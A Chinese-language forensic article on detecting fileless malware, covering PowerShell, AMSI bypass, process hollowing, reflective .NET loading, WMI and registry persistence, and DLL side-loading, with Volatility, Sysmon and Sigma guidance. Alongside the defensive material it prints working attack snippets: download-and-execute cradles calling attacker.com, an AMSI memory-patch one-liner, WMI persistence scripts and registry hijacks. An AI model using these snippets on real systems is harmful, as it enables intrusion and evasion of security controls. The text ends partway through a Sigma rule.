无文件恶意代码取证深度分析

无文件恶意代码取证深度分析

无文件恶意代码(Fileless Malware)是当前高级持续性威胁(APT)和勒索软件运营中最具挑战性的攻击技术之一。与传统恶意软件在磁盘上留下可执行文件不同,无文件攻击将恶意代码完全驻留在内存、注册表、WMI 存储库或合法系统工具的进程空间中,使基于文件签名的检测机制几乎完全失效。据 Mandiant 2024 年威胁情报报告,超过 50% 的高级攻击活动中至少包含一种无文件技术,这一比例较三年前增长了近三倍。

无文件恶意代码给取证分析带来了本质性挑战:传统的磁盘取证工具无法获取恶意载荷的完整视图;内存取证需要在系统仍然运行时进行,增加了证据污染的风险;攻击者利用的系统合法工具(如 PowerShell、WMI、mshta)使得恶意行为与正常运维操作难以区分。本文系统性地梳理无文件恶意代码的核心攻击技术,从 PowerShell 内存执行到 Process Hollowing,从 .NET Assembly 反射加载到 WMI 事件订阅持久化,结合 Volatility 内存取证框架和 Sysmon 日志分析,提供一套完整的无文件恶意代码检测与响应方法论。


0x01 技术基础与无文件攻击概述

什么是无文件攻击

无文件攻击(Fileless Attack,MITRE ATT&CK T1059)是指攻击者在入侵过程中不将恶意可执行文件写入目标系统磁盘(或仅写入极少量的辅助文件),而是利用操作系统内置工具、内存空间、注册表键值或系统配置来完成攻击目标的技术集合。“无文件"并不意味着攻击过程中绝对不会有任何文件产生,而是指核心恶意载荷不以传统可执行文件(.exe、.dll)的形式存在于磁盘上。

无文件攻击技术分类

根据恶意代码的驻留位置和执行方式,无文件攻击技术可以划分为以下几大类别:

攻击类别MITRE ATT&CK驻留位置执行方式代表技术
脚本内存执行T1059.001/T1059.003进程内存解释器直接执行PowerShell IEX、CScript/JScript
进程注入T1055.012合法进程内存API 注入Process Hollowing、DLL Injection
.NET CLR 注入T1620CLR 运行时Assembly 反射加载Assembly.Load、Reflection.Emit
WMI 持久化T1546.003WMI 存储库事件订阅触发EventFilter + EventConsumer
注册表存储T1546.003注册表键值脚本解释器读取执行HKCU\Software\classes 注入
COM 对象劫持T1574.001COM 注册表替换 COM 服务器CLSID 默认值篡改
DLL 侧加载T1574.002合法程序目录搜索顺序劫持恶意 DLL 替换

与传统恶意软件的对比分析

对比维度传统恶意软件无文件恶意代码
磁盘痕迹.exe/.dll 落地,可被杀软拦截无或极少磁盘文件,签名检测失效
取证难度磁盘镜像即可获取样本需要内存取证,时效性要求高
检测方法文件哈希、YARA 规则、静态分析行为分析、内存扫描、日志关联
持久化机制文件自启动、计划任务WMI、注册表、COM 劫持
恢复难度清除恶意文件即可初步遏制内存驻留+多处持久化,清除复杂
攻击者画像脚本小子到 APT通常为高级攻击者或成熟犯罪组织

取证工具链

无文件恶意代码的取证分析需要一套专门化的工具链,覆盖内存采集、内存分析、日志关联和实时监控等多个环节。

工具名称功能定位适用场景获取方式
WinPmemWindows 内存采集生成物理内存转储文件winpmem_mini_x64.exe
DumpItWindows 内存采集一键式内存镜像获取Comae Technologies
Volatility 3内存取证分析恶意进程检测、代码提取开源框架(Python)
Rekall内存取证分析Google 开源内存分析开源框架(Python)
Sysmon系统监控进程创建/网络/注册表事件Microsoft Sysinternals
Autoruns启动项分析注册表/WMI/COM 启动点枚举Microsoft Sysinternals
ProcDump进程转储特定进程内存转储Microsoft Sysinternals
ProcMon进程监控实时 API 调用和文件/注册表监控Microsoft Sysinternals
PowerShell ScriptBlock Logging脚本日志记录 PowerShell 执行的完整脚本块Windows 内置
ETW 跟踪事件跟踪内核级事件采集Windows 内置

0x02 PowerShell 内存执行与 AMSI 绕过

PowerShell 在无文件攻击中的核心地位

PowerShell 是 Windows 操作系统内置的自动化和配置管理框架,同时也是无文件攻击中使用频率最高的工具。其强大的脚本能力、与 .NET Framework 的深度集成、以及默认安装在所有现代 Windows 系统上的特性,使其成为攻击者的理想选择。MITRE ATT&CK 将 PowerShell 内存执行归类为 T1059.001(Command and Scripting Interpreter: PowerShell)。

Invoke-Expression 与下载执行

Invoke-Expression(别名 IEX / iex)是 PowerShell 中最常被滥用的 cmdlet,它将字符串作为代码在当前 PowerShell 会话中执行。攻击者通常将其与网络下载功能结合,实现"下载并执行”(Download and Execute)攻击模式。

IEX (New-Object Net.WebClient).DownloadString('http://attacker.com/payload.ps1')
$wc = New-Object System.Net.WebClient
$wc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy()
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX $wc.DownloadString('https://attacker.com/stage2.ps1')
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (Invoke-WebRequest -Uri 'https://attacker.com/beacon.ps1' -UseBasicParsing).Content
$data = (New-Object Net.WebClient).DownloadData('http://192.168.1.100/encoded.bin')
$dec = [System.Text.Encoding]::UTF8.GetString($data)
$dec = [Convert]::FromBase64String($dec)
IEX ([Text.Encoding]::UTF8.GetString($dec))

AMSI(反恶意软件扫描接口)绕过技术

AMSI(Antimalware Scan Interface,MITRE ATT&CK T1562.001)是微软在 Windows 10 中引入的安全机制,允许应用程序和操作系统将脚本内容发送给已安装的反恶意软件引擎进行扫描。AMSI 在 PowerShell 脚本执行前会对脚本内容进行检查,理论上可以在脚本进入解释器之前拦截恶意载荷。

然而,攻击者已经开发出多种 AMSI 绕过技术:

绕过技术MITRE ATT&CK攻击原理检测难度
内存补丁T1562.001篡改 AmsiScanBuffer 函数返回值中等
反射 DLL 加载T1562.001加载恶意 DLL 修改 AMSI 内部状态较高
字符串混淆T1027Base64/ROT13/自定义编码绕过关键字中等
ETW 补丁T1562.006禁用 Event Tracing for Windows 日志
PowerShell 版本降级T1562.001强制使用 AMSI 支持不完善的旧版本

内存补丁绕过示例(仅供防御研究):

$a=[Ref].Assembly.GetTypes();ForEach($b in $a){if($b.Name -like "*iUtils"){$c=$b}};$d=$c.GetFields('NonPublic,Static');ForEach($e in $d){if($e.Name -like "*Context"){$f=$e}};$g=$f.GetValue($null);[IntPtr]$ptr=$g;[Int32[]]$buf=@(0);[System.Runtime.InteropServices.Marshal]::Copy($buf,0,$ptr,1)

字符串变形绕过示例:

$s = 'I' + 'EX'
$cmd = (New-Object Net.WebClient).DownloadString('http://attacker.com/p.ps1')
Invoke-Expression $cmd
$code = [System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('SWV4IChOZXQtT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vYXR0YWNrZXIuY29tL3BheWxvYWQucHMxJyk='))
& ([scriptblock]::Create($code))

PowerShell 日志检测

启用和分析 PowerShell 日志是检测无文件攻击的关键手段。以下是需要配置的关键日志源:

日志源注册表路径功能描述检测能力
ScriptBlock LoggingHKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging记录所有 PowerShell 脚本块执行内容捕获混淆/解密后的实际执行代码
Module LoggingHKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging记录所有 PowerShell 模块调用细节检测危险 cmdlet 的使用
TranscriptionHKLM\SOFTWARE\Policies\Microsoft\PowerShell\Transcription记录完整的 PowerShell 会话输入输出提供完整的行为审计
Operational LogMicrosoft-Windows-PowerShell/Operational记录 PowerShell 引擎事件检测异常 PowerShell 进程创建

启用 PowerShell 日志的脚本:

$basePath = 'HKLM:\SOFTWARE\Policies\Microsoft\Windows\PowerShell'
New-Item -Path "$basePath\ScriptBlockLogging" -Force
Set-ItemProperty -Path "$basePath\ScriptBlockLogging" -Name 'EnableScriptBlockLogging' -Value 1
Set-ItemProperty -Path "$basePath\ScriptBlockLogging" -Name 'EnableScriptBlockInvocationLogging' -Value 1
New-Item -Path "$basePath\ModuleLogging" -Force
Set-ItemProperty -Path "$basePath\ModuleLogging" -Name 'EnableModuleLogging' -Value 1
New-ItemProperty -Path "$basePath\ModuleLogging" -Name 'ModuleNames' -Value '*' -Force
New-Item -Path "$basePath\Transcription" -Force
Set-ItemProperty -Path "$basePath\Transcription" -Name 'EnableTranscripting' -Value 1
Set-ItemProperty -Path "$basePath\Transcription" -Name 'OutputDirectory' -Value 'C:\PSTranscripts' -Force

PowerShell 无文件攻击日志检测查询(Sysmon + PowerShell 日志):

<Sysmon schemaversion="4.90">
  <EventFiltering>
    <ProcessCreate onmatch="include">
      <Image condition="is">C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="is">C:\Windows\System32\mshta.exe</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="is">C:\Windows\System32\wscript.exe</Image>
    </ProcessCreate>
    <ProcessCreate onmatch="include">
      <Image condition="is">C:\Windows\System32\cscript.exe</Image>
    </ProcessCreate>
  </EventFiltering>
</Sysmon>

PowerShell 检测特征表

检测特征Event ID / 日志来源证据强度说明
PowerShell 进程由 Word/Excel 启动Sysmon Event ID 1🔴确认恶意Office 启动 PowerShell 是极强的恶意指标
PowerShell 执行 EncodedCommand 参数Event ID 4104 (ScriptBlock)🟡高度可疑合法运维也可能使用,需结合上下文
PowerShell 下载并执行远程脚本Event ID 4104🔴确认恶意IEX + DownloadString 组合是高置信度指标
PowerShell 修改 AMSI 相关函数Event ID 4104🔴确认恶意任何 AMSI 篡改操作都应视为恶意
PowerShell 进程在异常工作目录下运行Sysmon Event ID 1🟡高度可疑需结合路径和父进程判断
PowerShell 脚本块中出现 base64 编码命令Event ID 4104🟡高度可疑可能是攻击者混淆手段

0x03 Process Hollowing 与进程替换技术

Process Hollowing 技术原理

Process Hollowing(进程镂空,MITRE ATT&CK T1055.012)是无文件攻击中最经典的进程注入技术之一。攻击者创建一个合法的系统进程(如 svchost.exeexplorer.exe)处于挂起状态,然后将其原始代码从内存中移除,替换为恶意载荷,最后恢复进程执行。最终,系统中运行的是一个具有合法进程名称和 PID 的恶意进程。

核心 API 调用链

Process Hollowing 的实现依赖一组特定的 Windows API 调用序列:

步骤API 调用功能描述MITRE ATT&CK
1CreateProcess (CREATE_SUSPENDED)创建挂起的合法进程T1055.012
2NtUnmapViewOfSection卸载目标进程的原始内存映射T1055.012
3VirtualAllocEx在目标进程中分配新的内存空间T1055.012
4WriteProcessMemory将恶意载荷写入目标进程内存T1055.012
5GetThreadContext获取目标进程的线程上下文T1055.012
6SetThreadContext修改目标进程的入口点(EAX/Rcx)T1055.012
7ResumeThread恢复目标进程执行T1055.012

Process Hollowing 代码实现框架

以下伪代码展示了 Process Hollowing 的核心流程,帮助理解其技术细节:

STARTUPINFOA si = { sizeof(si) };
PROCESS_INFORMATION pi;
CreateProcessA("C:\\Windows\\System32\\svchost.exe", NULL, NULL, NULL, FALSE,
    CREATE_SUSPENDED, NULL, NULL, &si, &pi);
NtUnmapViewOfSection(pi.hProcess, baseAddress);
LPVOID remoteMem = VirtualAllocEx(pi.hProcess, NULL, payloadSize,
    MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess, remoteMem, payload, payloadSize, NULL);
CONTEXT ctx;
ctx.ContextFlags = CONTEXT_FULL;
GetThreadContext(pi.hThread, &ctx);
ctx.Eax = (DWORD)remoteMem;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);

变种技术对比

Process Hollowing 存在多种变种实现,攻击者通过不同的 API 组合来规避检测:

变种名称核心差异检测特征隐蔽性
Classic HollowingNtUnmapViewOfSection 移除原始代码NtUnmapViewOfSection 调用中等
Process Doppelgänging利用 NTFS Transacted File 操作CreateTransaction + NtCreateSection
Process Herpaderping修改磁盘映像后更新内存映射磁盘/内存映像不一致
Process Ghosting利用文件删除后的 section 对象已删除文件的 section 映射极高
Module Stomping替换合法加载的 DLL 模块LoadLibrary 后的内存覆写
Process Tampering直接修改已运行进程的内存段VirtualProtect 权限变更中等

内存取证检测方法

在 Volatility 3 中,可以通过以下命令检测 Process Hollowing 痕迹:

vol3 -f memory.dump windows.pslist
vol3 -f memory.dump windows.pstree
vol3 -f memory.dump windows.procinfo
vol3 -f memory.dump windows.malfind
vol3 -f memory.dump windows.vadinfo --pid 1234

Volatility malfind 输出示例分析:

PID   Process         Start VPN     End VPN       Tag   Protection
----- --------------- ------------ ------------- ----- ----------
1234  svchost.exe     0x00000000    0x00010000    VadS  PAGE_EXECUTE_READWRITE
Vad Tag: VadS
Protection: PAGE_EXECUTE_READWRITE
Flags: PrivateMemory: 1, NoChange: 0

malfind 的关键检测逻辑:

  • 检测具有 PAGE_EXECUTE_READWRITE 权限但不属于任何已知模块的内存区域
  • 查找内存区域中包含可执行代码头部(MZ/PE header)
  • 对比磁盘映像与内存映像的差异

更多 Volatility 检测命令:

vol3 -f memory.dump windows.netscan
vol3 -f memory.dump windows.handles --pid 1234
vol3 -f memory.dump windows.dlllist --pid 1234
vol3 -f memory.dump windows.cmdline
vol3 -f memory.dump windows.filescan
vol3 -f memory.dump windows.dumpfiles --virtaddr 0x00000000 --pid 1234

Process Hollowing 检测特征

检测特征检测来源证据强度说明
svchost.exe 的父进程不是 services.exeSysmon Event ID 1🔴确认恶意svchost.exe 的正常父进程只能是 services.exe
进程内存包含 RWX 权限区域且无对应模块Volatility malfind🔴确认恶意高置信度的进程注入指标
CreateProcess 以 CREATE_SUSPENDED 标志创建Sysmon Event ID 8🟡高度可疑需结合后续 API 调用判断
NtUnmapViewOfSection 在 svchost.exe 上下文中调用Sysmon Event ID 10🔴确认恶意极度异常的 API 调用
进程磁盘映像哈希与内存映像不一致内存对比分析🔴确认恶意Process Hollowing 的核心特征
父子进程关系异常Sysmon Event ID 1🟡高度可疑需要建立正常进程树基线

0x04 .NET Assembly 反射加载与 CLR 注入

.NET Assembly 反射加载原理

.NET Framework 提供了强大的反射(Reflection)机制,允许程序在运行时动态加载、检查和执行程序集(Assembly)。攻击者利用这一特性,通过 Assembly.Load 方法将 Base64 编码的恶意 .NET 程序集直接加载到目标进程的内存中执行,无需在磁盘上创建任何文件。MITRE ATT&CK 将此类技术归类为 T1620(Reflective Code Loading)。

Assembly.Load 内存加载

$asm = [System.Reflection.Assembly]::Load([Convert]::FromBase64String('TVqQAAMAAAAEAAAA'))
$asm.GetType('Namespace.Class').GetMethod('Method').Invoke($null, @())
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData('http://attacker.com/implant.dll'))
[Namespace.Program]::Main(@())
$a = (New-Object System.Net.WebClient).DownloadData('https://attacker.com/beacon.bin')
$dec = [System.IO.Compression.DeflateStream]::new([System.IO.MemoryStream]::new($a), [System.IO.Compression.CompressionMode]::Decompress)
$br = New-Object System.IO.BinaryReader($dec)
$payload = $br.ReadBytes(1024 * 1024)
[System.Reflection.Assembly]::Load($payload)

Reflection.Emit 动态代码生成

Reflection.Emit 允许在运行时动态创建和执行 IL(Intermediate Language)代码,是另一种高级无文件执行技术:

$ab = [System.Reflection.Emit.AssemblyBuilder]::DefineDynamicAssembly([System.Reflection.AssemblyName]::new('Mal'), [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$mb = $ab.DefineDynamicModule('MainMod')
$tb = $mb.DefineType('Program')
$mb2 = $tb.DefineMethod('Run', [System.Reflection.MethodAttributes]::Public -bor [System.Reflection.MethodAttributes]::Static, [void], @([string[]]))
$il = $mb2.GetILGenerator()
$il.Emit([System.Reflection.Emit.OpCodes]::Ldstr, 'Hello from emitted code')
$il.Emit([System.Reflection.Emit.OpCodes]::Call, [Console].GetMethod('WriteLine', @([string])))
$il.Emit([System.Reflection.Emit.OpCodes]::Ret)
$tp = $tb.CreateType()
$tp.GetMethod('Run').Invoke($null, @(@()))

AppDomain CLR 注入

CLR(Common Language Runtime)注入允许攻击者在目标 .NET 进程的 CLR 运行时中注入恶意代码:

$domain = [AppDomain]::CreateDomain('Loader')
$domain.SetData('payload', [byte[]](Get-Content -Path 'C:\payload.bin' -Encoding Byte))
$domain.DoCallBack({param($d) $p = [byte[]]$d.GetData('payload'); [System.Reflection.Assembly]::Load($p); [Exec.Program]::Go()})
$bytes = [Convert]::FromBase64String('AQAAANAA...')
$asm = [System.Reflection.Assembly]::Load($bytes)
$type = $asm.GetType('Payload.Entry')
$method = $type.GetMethod('Execute')
$method.Invoke($null, $null)

.NET Assembly 反射加载检测

检测特征Event ID / 检测来源证据强度说明
PowerShell 中使用 Assembly.Load 加载远程字节数据Event ID 4104🔴确认恶意Assembly.Load + 网络数据是典型无文件攻击模式
Reflection.Emit 动态生成可执行代码Event ID 4104🟡高度可疑合法场景较少使用
CLR 加载异常模块(无对应磁盘文件)Sysmon Event ID 7🔴确认恶意CLR 模块加载路径为空说明是内存加载
.NET 程序集中存在大量 Base64 编码的字符串Event ID 4104🟡高度可疑可能是编码后的载荷
AppDomain 被创建后加载非 GAC 程序集CLR 日志🟡高度可疑需结合来源判断

CLR 注入检测命令

[System.AppDomain]::CurrentDomain.GetAssemblies() | Select-Object -Property FullName, Location, IsDynamic | Format-Table -AutoSize
vol3 -f memory.dump windows.vadinfo --pid 1234 | grep -i "rw-"
vol3 -f memory.dump windows.netscan

0x05 WMI 事件订阅与无文件持久化

WMI 事件订阅机制

Windows Management Instrumentation(WMI)是 Windows 操作系统内置的管理框架,提供了对系统资源的统一访问接口。WMI 事件订阅(Event Subscription,MITRE ATT&CK T1546.003)允许应用程序注册事件过滤器,当特定条件满足时自动触发响应操作。攻击者利用这一机制实现无文件持久化,恶意代码存储在 WMI 存储库(Repository)中而非磁盘文件上。

WMI 事件订阅三要素

组件WMI 类名功能描述攻击者用途
事件过滤器__EventFilter定义触发事件的条件监听系统启动、用户登录、定时触发等
事件消费者__EventConsumer定义事件触发后的响应动作执行 PowerShell 命令、运行脚本
绑定__FilterToConsumerBinding将过滤器与消费者关联建立完整的事件订阅链

CommandLineEventConsumer 无文件持久化

$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = 'SystemMonitor'
    EventNamespace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = 8 AND TargetInstance.Minute = 30"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class CommandLineEventConsumer -Arguments @{
    Name = 'Updater'
    CommandLineTemplate = 'powershell.exe -NoProfile -NonInteractive -EncodedCommand <BASE64_PAYLOAD>'
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

ActiveScriptEventConsumer 持久化

$filter = Set-WmiInstance -Namespace root\subscription -Class __EventFilter -Arguments @{
    Name = 'BootTrigger'
    EventNamespace = 'root\cimv2'
    QueryLanguage = 'WQL'
    Query = "SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'"
}
$consumer = Set-WmiInstance -Namespace root\subscription -Class ActiveScriptEventConsumer -Arguments @{
    Name = 'ScriptRunner'
    ScriptText = 'Set objShell = CreateObject("WScript.Shell")'
    ScriptingEngine = 'VBScript'
}
Set-WmiInstance -Namespace root\subscription -Class __FilterToConsumerBinding -Arguments @{
    Filter = $filter
    Consumer = $consumer
}

WMI 持久化枚举与检测

Get-WmiObject -Namespace root\subscription -Class __EventFilter
Get-WmiObject -Namespace root\subscription -Class __EventConsumer
Get-WmiObject -Namespace root\subscription -Class __FilterToConsumerBinding
Get-WmiObject -Namespace root\subscription -Class __EventFilter | Select-Object Name, QueryLanguage, Query
Get-WmiObject -Namespace root\subscription -Class CommandLineEventConsumer | Select-Object Name, CommandLineTemplate
Get-WmiObject -Namespace root\subscription -Class ActiveScriptEventConsumer | Select-Object Name, ScriptText, ScriptingEngine
reg query "HKLM\SOFTWARE\Microsoft\WBEM\WDM" /s
reg query "HKLM\SOFTWARE\Microsoft\WBEM\WDM\DISCOVERY" /s
dir C:\Windows\System32\wbem\Repository\

WMI 事件订阅检测特征

检测特征检测来源证据强度说明
__EventFilter 中包含 WQL 查询监听系统事件WMI 存储库枚举🟡高度可疑合法 WMI 事件过滤器较少出现在生产环境
CommandLineEventConsumer 执行 PowerShell 命令WMI 存储库枚举🔴确认恶意WMI 触发的命令执行是高度可疑的持久化机制
__FilterToConsumerBinding 链中包含编码命令WMI 存储库枚举🔴确认恶意使用编码命令几乎总是恶意指标
WMI 事件订阅在异常时间创建WMI 存储库时间戳🟡高度可疑需要基线对比
恶意 WMI 提供者 DLL(如 WmiPrvSE 加载异常 DLL)Sysmon Event ID 7🔴确认恶意WMI 服务加载非标准 DLL
WMI Repository 目录中的文件异常修改文件系统时间线🟡高度可疑Repository 文件频繁更新可能表示活跃的恶意订阅

0x06 注册表 Shellcode 存储与执行

注册表作为无文件存储介质

Windows 注册表是一个分层的数据库,用于存储系统和应用程序的配置信息。攻击者利用注册表的以下特性实现无文件攻击:存储空间充足(可存储数 MB 的数据)、不会被文件系统扫描工具检测、系统启动时自动加载、与多种脚本解释器和系统工具兼容。

HKCU\Software\classes 注入技术

MITRE ATT&CK T1546.003 描述了一种利用注册表 HKCU\Software\classes 键存储恶意载荷的技术。当通过 COM 对象或脚本解释器访问注册表中的 ProgID 时,系统会自动加载并执行存储在注册表中的恶意数据。

$regPath = 'HKCU:\Software\classes\ms-settings\Shell\Open\command'
New-Item -Path $regPath -Force
Set-ItemProperty -Path $regPath -Name '(Default)' -Value 'C:\Windows\System32\cmd.exe /c powershell.exe -nop -w hidden -c <PAYLOAD>'
New-ItemProperty -Path $regPath -Name 'DelegateExecute' -Value '' -Force
$shellcode = [Convert]::FromBase64String('AAAA4BcA...')
$regPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer'
Set-ItemProperty -Path $regPath -Name 'Run' -Value $shellcode
$payload = Get-Content -Path 'C:\temp\beacon.bin' -Encoding Byte
$encoded = [Convert]::ToBase64String($payload)
$regPath = 'HKCU:\Software\Microsoft\Windows\CurrentVersion\RunOnce'
New-ItemProperty -Path $regPath -Name 'WindowsUpdate' -Value "powershell.exe -c `$d=[Convert]::FromBase64String('$encoded');IEX `$d" -Force

mshta 与 wscript 通过注册表执行

攻击者可以利用 Windows 脚本宿主通过注册表中的 COM 对象来执行恶意代码:

mshta vbscript:Execute("Set o=CreateObject(""WScript.Shell""):o.Run ""powershell.exe -nop -w hidden -c <COMMAND>"",0:Close")
reg add "HKCU\Software\Classes\.hta\ShellNew\command" /ve /t REG_SZ /d "cmd.exe /c powershell.exe -nop -w hidden -c <PAYLOAD>" /f
reg add "HKCU\Software\Classes\msfile\ShellNew\command" /ve /t REG_SZ /d "wscript.exe //B //Nologo C:\temp\payload.vbs" /f

注册表 Shellcode 存储检测

检测特征检测来源证据强度说明
HKCU\Software\classes 下出现异常 ProgID 子键注册表快照对比🔴确认恶意正常用户不应创建此类注册表项
ms-settings\Shell\Open\command 被修改注册表监控🔴确认恶意这是已知的持久化技术
注册表 Run/RunOnce 键中包含编码 PowerShell 命令注册表监控🔴确认恶意高置信度的持久化指标
注册表中存储大量 Base64 数据注册表分析🟡高度可疑可能是编码后的 shellcode
mshta.exe 或 wscript.exe 由异常进程启动Sysmon Event ID 1🟡高度可疑脚本宿主被用于执行可疑操作
注册表键值大小异常(>10KB)注册表分析🟡高度可疑正常注册表键值通常不会如此之大

0x07 DLL Side-Loading 与无文件落地

DLL Side-Loading 攻击原理

DLL Side-Loading(DLL 侧加载,MITRE ATT&CK T1574.002)是利用 Windows DLL 搜索顺序机制的攻击技术。当应用程序加载 DLL 时,Windows 会按照特定的搜索顺序查找 DLL 文件。攻击者将恶意 DLL 放置在合法程序的搜索路径中优先位置,使合法程序在不知情的情况下加载并执行恶意代码。

搜索顺序劫持

Windows DLL 搜索顺序(默认情况下):

优先级搜索路径攻击者利用方式
1应用程序所在目录将恶意 DLL 放置在目标程序同目录下
2系统目录(System32)通常权限不足,较少被利用
316 位系统目录极少被利用
4Windows 目录权限较高,较少被利用
5当前工作目录通过相对路径加载的 DLL 可被劫持
6PATH 环境变量中的目录在 PATH 中优先位置植入恶意 DLL

已知白利用(LOLBin Side-Loading)

攻击者经常利用已知的合法程序 DLL 侧加载漏洞来执行恶意代码:

合法程序被劫持的 DLL典型使用场景隐蔽性
vmnat.exe (VMware)vcruntime140.dllVMware 安装目录中侧加载
MsMpEng.exe (Defender)ntdll.dll利用 Defender 的已知加载问题
OneDriveStandaloneUpdater.exeversion.dll云同步工具的侧加载
Msbuild.exemscoree.dll.NET 构建工具侧加载
GUP.exe (Notepad++)libcurl.dll软件更新程序侧加载
FoxitReader.exedbghelp.dllPDF 阅读器侧加载
WinSxS 目录程序各种 DLLSxS 部署的侧加载

DLL Side-Loading 检测

Get-Process | ForEach-Object {
    $proc = $_
    try {
        $modules = $_.Modules
        foreach ($m in $modules) {
            $path = $m.FileName
            if ($path -and $path -notmatch '^(C:\\Windows|C:\\Program Files)') {
                [PSCustomObject]@{
                    ProcessName = $proc.Name
                    PID = $proc.Id
                    ModulePath = $path
                    ModuleBase = $m.ModuleName
                }
            }
        }
    } catch {}
} | Format-Table -AutoSize
vol3 -f memory.dump windows.dlllist --pid 1234
vol3 -f memory.dump windows.netscan
vol3 -f memory.dump windows.vadinfo --pid 1234

DLL Side-Loading 检测特征

检测特征检测来源证据强度说明
合法程序加载路径异常的 DLLSysmon Event ID 7🟡高度可疑DLL 不在预期的安装目录中
同目录下出现不匹配的 DLL 和 EXE文件系统审计🔴确认恶意经典的 Side-Loading 攻击布局
DLL 文件的数字签名与宿主程序不一致文件属性分析🔴确认恶意签名实体不匹配是强指标
已知易被 Side-Loading 利用的 DLL 出现在异常位置IOC 匹配🟡高度可疑需结合上下文判断
恶意 DLL 的时间戳与合法程序不匹配时间线分析🟡高度可疑可能是后期植入
DLL 加载后进程创建异常子进程Sysmon Event ID 1🔴确认恶意侧加载后的二次执行是高置信度指标

0x08 证据强度分层与案例关联

证据强度分类体系

在无文件恶意代码的取证分析中,对发现的证据进行强度分层是做出准确判断的关键。以下是一个经过实践验证的三级证据分类体系:

分类级别标记定义处置建议
确认恶意🔴有明确恶意意图和行为的直接证据,无需额外上下文即可判定立即响应:隔离系统、终止进程、提取证据
高度可疑🟡强烈暗示恶意活动但需要进一步验证的间接证据深入调查:收集更多上下文、关联其他证据源
需要关注🟢可能为正常行为但存在异常,需结合上下文判断持续监控:加入观察列表、设置告警

无文件攻击全场景证据强度矩阵

检测场景检测指标证据强度数据来源
PowerShell 由 Office 进程启动Word/Excel → powershell.exe🔴确认恶意Sysmon Event ID 1
PowerShell 执行 EncodedCommandBase64 编码参数🟡高度可疑Event ID 4104
PowerShell IEX + 远程下载DownloadString/IWR 组合🔴确认恶意Event ID 4104
Process Hollowing — svchost 父进程异常svchost.exe 父进程非 services.exe🔴确认恶意Sysmon Event ID 1
Process Hollowing — 内存 RWX 区域malfind 检出🟡高度可疑Volatility malfind
Assembly.Load 加载远程数据反射加载 + 网络 I/O🔴确认恶意Event ID 4104 + Sysmon
WMI 事件订阅执行命令CommandLineEventConsumer🔴确认恶意WMI 存储库枚举
WMI 事件过滤器监听登录事件__EventFilter WQL 查询🟡高度可疑WMI 存储库枚举
注册表 HKCU\classes 异常子键ms-settings 等 ProgID 被修改🔴确认恶意注册表监控
注册表存储 Base64 编码数据超大注册表键值🟡高度可疑注册表分析
DLL Side-Loading — 异常 DLL 路径合法 EXE 加载非标准路径 DLL🟡高度可疑Sysmon Event ID 7
DLL Side-Loading — 签名不匹配DLL 签名与宿主程序不一致🔴确认恶意文件属性分析
PowerShell 日志被禁用ScriptBlock Logging 被关闭🟡高度可疑系统配置审计
Sysmon 服务异常停止Sysmon 进程退出🔴确认恶意系统服务监控
WMI 存储库文件异常修改Repository 文件时间变化🟢需要关注文件系统时间线
注册表 Run 键新增条目异常启动项🟡高度可疑Autoruns 扫描
异常 ETW 跟踪会话被创建新的 Trace Session🟡高度可疑wevtutil 查询
内存中检测到已知恶意字符串YARA 内存扫描匹配🔴确认恶意Volatility + YARA

证据链构建方法

在无文件攻击的取证分析中,构建完整的证据链至关重要。以下是证据链构建的最佳实践:

  1. 时间线对齐:将 Sysmon 日志、PowerShell 日志、注册表修改时间、WMI 存储库更新时间和内存取证时间戳进行对齐
  2. 进程树还原:通过 Sysmon Event ID 1 还原完整的父子进程关系链
  3. 内存-磁盘交叉验证:对比 Volatility 提取的内存映像与磁盘文件系统,发现差异
  4. 网络关联:将内存中提取的 C2 通信与网络流量日志关联
  5. 持久化点枚举:全面扫描 WMI 订阅、注册表启动项、COM 劫持点

0x09 自动化检测与狩猎

Sigma 检测规则

以下是针对无文件恶意代码的 Sigma 检测规则,适用于 Splunk、Elastic SIEM、Microsoft Sentinel 等平台。

规则 1:PowerShell 进程由 Office 应用程序启动

title: PowerShell Launched by Office Application
id: 7a2c1e8f-4b3d-4e5a-9c8f-1a2b3c4d5e6f
status: experimental
description: Detects PowerShell process spawned by Microsoft Office applications, which is a strong indicator of fileless malware execution
references:
  - https://attack.mitre.org/techniques/T1059/001/
author: x7peeps
date: 2026-07-09
tags:
  - attack.execution
  - attack.t1059.001
  - attack.defense_evasion
  - attack.t1562.001
logsource:
  category: process_creation
  product: windows
detection:
  selection_parent:
    ParentImage|endswith:
      - '\WINWORD.EXE'
      - '\EXCEL.EXE'
      - '\POWERPNT.EXE'
      - '\OUTLOOK.EXE'
      - '\MSPUB.EXE'
      - '\VISIO.EXE'
  selection_child:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  condition: selection_parent and selection_child
fields:
  - ParentImage
  - ParentCommandLine
  - Image
  - CommandLine
  - User
  - IntegrityLevel
falsepositives:
  - Legitimate Office add-ins using PowerShell for automation
level: high

规则 2:WMI 事件订阅持久化检测

title: WMI Event Subscription Persistence
